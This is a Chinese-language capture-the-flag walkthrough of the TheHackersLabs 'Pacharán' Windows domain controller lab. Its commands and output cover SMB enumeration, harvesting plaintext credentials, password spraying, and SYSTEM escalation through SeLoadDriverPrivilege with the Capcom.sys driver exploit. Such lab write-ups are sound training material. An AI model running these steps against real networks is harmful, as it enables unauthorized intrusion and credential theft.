Pacharán

https://labs.thehackerslabs.com/machine/61

Recon

PortScan

➜  Pacharán nmap -sn 192.168.69.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 13:00 CST
Nmap scan report for 192.168.69.1
Host is up (0.00060s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for 192.168.69.2
Host is up (0.00034s latency).
MAC Address: 08:00:27:5F:F4:7E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.69.69
Host is up (0.00060s latency).
MAC Address: 08:00:27:4F:85:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.69.10
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.10 seconds

➜  Pacharán nmap -sT -min-rate 10000 -p- 192.168.69.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 13:00 CST
Warning: 192.168.69.69 giving up on port because retransmission cap hit (10).
Strange read error from 192.168.69.69 (104 - 'Connection reset by peer')
Nmap scan report for 192.168.69.69
Host is up (0.00020s latency).
Not shown: 65236 closed tcp ports (conn-refused), 275 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm

MAC Address: 08:00:27:4F:85:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.27 seconds

➜  Pacharán nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.69.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-27 13:01 CST
Nmap scan report for 192.168.69.69
Host is up (0.00052s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-27 12:01:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: PACHARAN.THL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 08:00:27:4F:85:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 1 hop
Service Info: Host: WIN-VRU3GG3DPLJ; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:4f:85:91 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
|   date: 2025-07-27T12:01:36
|_  start_date: 2025-07-27T11:55:15
|_clock-skew: 6h59m57s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

TRACEROUTE
HOP RTT     ADDRESS
1   0.52 ms 192.168.69.69

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds

枚举

SMB 匿名测试

可以使用匿名账户

➜  Pacharán smbclient -L 192.168.69.69 -U anonymous
Password for [WORKGROUP\anonymous]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Admin remota
        C$              Disk      Recurso predeterminado
        IPC$            IPC       IPC remota
        NETLOGON        Disk      Recurso compartido del servidor de inicio de sesión 
        NETLOGON2       Disk      
        PACHARAN        Disk      
        PDF Pro Virtual Printer Printer   Soy Hacker y arreglo impresoras
        print$          Disk      Controladores de impresora
        SYSVOL          Disk      Recurso compartido del servidor de inicio de sesión 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.69.69 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

直接用nxc全部拉下来

➜  Pacharán nxc smb 192.168.69.69 -u 'anonymous' -p '' --smb-timeout 9999 -M spider_plus -o DOWNLOAD_FLAG=True 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False) 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\anonymous: (Guest)
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Started module spidering_plus with the following options:
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*]     STATS_FLAG: True
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*]  OUTPUT_FOLDER: /root/.nxc/modules/nxc_spider_plus
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Enumerated shares
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  Share           Permissions     Remark
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  -----           -----------     ------
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  ADMIN$                          Admin remota
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  C$                              Recurso predeterminado
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  IPC$            READ            IPC remota
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  NETLOGON                        Recurso compartido del servidor de inicio de sesión 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  NETLOGON2       READ            
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  PACHARAN                        
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  PDF Pro Virtual Printer                 Soy Hacker y arreglo impresoras
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  print$                          Controladores de impresora
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  SYSVOL                          Recurso compartido del servidor de inicio de sesión 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  Users                           
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/192.168.69.69.json".
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] SMB Shares:           10 (ADMIN$, C$, IPC$, NETLOGON, NETLOGON2, PACHARAN, PDF Pro Virtual Printer, print$, SYSVOL, Users)
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] SMB Readable Shares:  2 (IPC$, NETLOGON2)
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] SMB Filtered Shares:  1
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Total folders found:  0
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Total files found:    1
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] File size average:    22 B
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] File size min:        22 B
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] File size max:        22 B
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] File unique exts:     1 (txt)
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Downloads successful: 1
SPIDER_PLUS 192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] All files processed successfully.

得到一个 txt 文件 Orujo.txt

➜  Pacharán cat Orujo.txt                                 
Pericodelospalotes6969#

像是一个凭据，测试一下

➜  Pacharán nxc smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --smb-timeout 9999                             
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False) 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\orujo:Pericodelospalotes6969

成功拿到 orujo 的凭据

➜  Pacharán nxc ldap 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969'                                  
LDAP        192.168.69.69   389    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL)
LDAP        192.168.69.69   389    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\orujo:Pericodelospalotes6969

➜  Pacharán nxc winrm 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969'
WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\orujo:Pericodelospalotes6969

域分析

收集信息上BLoodHound

➜  Pacharán bloodhound-python -d 'PACHARAN.thl' -ns 192.168.69.69 --zip -c All -dc 'WIN-VRU3GG3DPLJ.PACHARAN.THL' -u orujo -p 'Pericodelospalotes6969'
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: pacharan.thl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: WIN-VRU3GG3DPLJ.PACHARAN.THL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: WIN-VRU3GG3DPLJ.PACHARAN.THL
INFO: Found 17 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WIN-VRU3GG3DPLJ.PACHARAN.THL
INFO: Done in 00M 01S
INFO: Compressing output into 20250727132554_bloodhound.zip

当前用户所属组

所有域用户

远程管理组成员，只有一个，暂时设定为目标用户

To Whisky

我们继续枚举一下信息

拉取 orujo 用户可以下载的所有文件

nxc smb 192.168.69.69 -u 'orujo' -p 'Pericodelospalotes6969' --smb-timeout 9999 -M spider_plus -o DOWNLOAD_FLAG=True

能下载出来一个 au.txt 文件，是一个密码字典

查询一下密码阈值

➜  PACHARAN bloodyAD -d 'PACHARAN.THL' -u orujo -p 'Pericodelospalotes6969' --dc-ip 192.168.69.69 get object 'DC=PACHARAN,DC=THL' --attr minPwdLength,maxPwdAge,minPwdAge,pwdHistoryLength,lockoutThreshold,lockoutDuration,lockOutObservationWindow,pwdProperties

distinguishedName: DC=PACHARAN,DC=THL
lockOutObservationWindow: -18000000000
lockoutDuration: -18000000000
lockoutThreshold: 0
maxPwdAge: -42 days, 0:00:00
minPwdAge: -1 day, 0:00:00
minPwdLength: 7
pwdHistoryLength: 24
pwdProperties: 1

密码阈值为0 ，锁定账户功能被禁用

所以我们可以利用得到的字典来进行密码喷洒

➜  Pacharán nxc smb 192.168.69.69 -u users.txt  -p ah.txt --smb-timeout 9999 --continue-on-success | grep '[+]'
SMB                      192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Whisky:MamasoyStream2er@

得到Whisky的凭据，Whisky:MamasoyStream2er@

To Chivas Regal

这里尝试了很多的攻击，例如 Kerberoate等

再尝试枚举一下信息

SMB 中我们能注意到 PDF Pro Virtual Printer WRITE ，应该是打印机共享

并且描述：我是一名黑客，我修理打印机，通用文档转换器

尝试连接上RPCclient 枚举打印机

➜  Pacharán rpcclient 192.168.69.69 -U pacharan.thl/Whisky%MamasoyStream2er@ 
rpcclient $> enumprinters
        flags:[0x800000]
        name:[\\192.168.69.69\Soy Hacker y arreglo impresoras]
        description:[\\192.168.69.69\Soy Hacker y arreglo impresoras,Universal Document Converter,TurkisArrusPuchuchuSiu1]
        comment:[Soy Hacker y arreglo impresoras]

我们还看到描述后还带这个字符串 TurkisArrusPuchuchuSiu1

我们将其拿去进行密码喷洒

➜  Pacharán nxc smb 192.168.69.69 -u users.txt -p 'TurkisArrusPuchuchuSiu1' --smb-timeout 9999                
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL) (signing:True) (SMBv1:False) 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Administrador:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Invitado:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\krbtgt:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\DefaultAccount:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Orujo:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Ginebra:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Whisky:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [-] PACHARAN.THL\Hendrick:TurkisArrusPuchuchuSiu1 STATUS_LOGON_FAILURE 
SMB         192.168.69.69   445    WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1

得到一个凭据：ChivasRegal:TurkisArrusPuchuchuSiu1

就是我们上边看到远程管理组的用户

➜  Pacharán nxc winrm 192.168.69.69 -u 'Chivas Regal' -p 'TurkisArrusPuchuchuSiu1'
WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:PACHARAN.THL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.69.69   5985   WIN-VRU3GG3DPLJ  [+] PACHARAN.THL\Chivas Regal:TurkisArrusPuchuchuSiu1 (Pwn3d!)

Chivas Regal 用户可以读取 user.txt

*Evil-WinRM* PS C:\Users\Chivas Regal\Desktop> type user.txt
bb8b4xxxxxxxxxxxxxxxxxxxxxxxxxx

SeLoadDriverPrivilege

whoami 信息

能找到 SeLoadDriverPrivilege ，这是默认的账户不存在的权限

能找一些存储库： https://github.com/k4sth4/SeLoadDriverPrivilege

*Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe LOAD C:\temp\Capcom.sys
[*] Service Name: uciifgxe
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-3046175042-3013395696-775018414-1108\???????????????????
NTSTATUS: 00000000, WinError: 0

*Evil-WinRM* PS C:\temp> .\ExploitCapcom.exe EXPLOIT whoami
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000064
[*] Shellcode was placed at 0000013180FE0008
[+] Shellcode was executed
[+] Token stealing was successful
[+] Command Executed
nt authority\system

成功拿到 system 用户权限

这里可以使用 msf 来弹，不多赘述….

最后运行恶意 exe 即可弹回来

C:\Users\Administrador\Desktop>type root.txt
type root.txt
cfa7cb1cc20e26c0428f9222d44c76a0  -

总结

打印机那里有点没想到，要看描述

最后 SeLoadDriverPrivilege 卡了一下，payload需要改一下

TheHackersLabs - Pacharán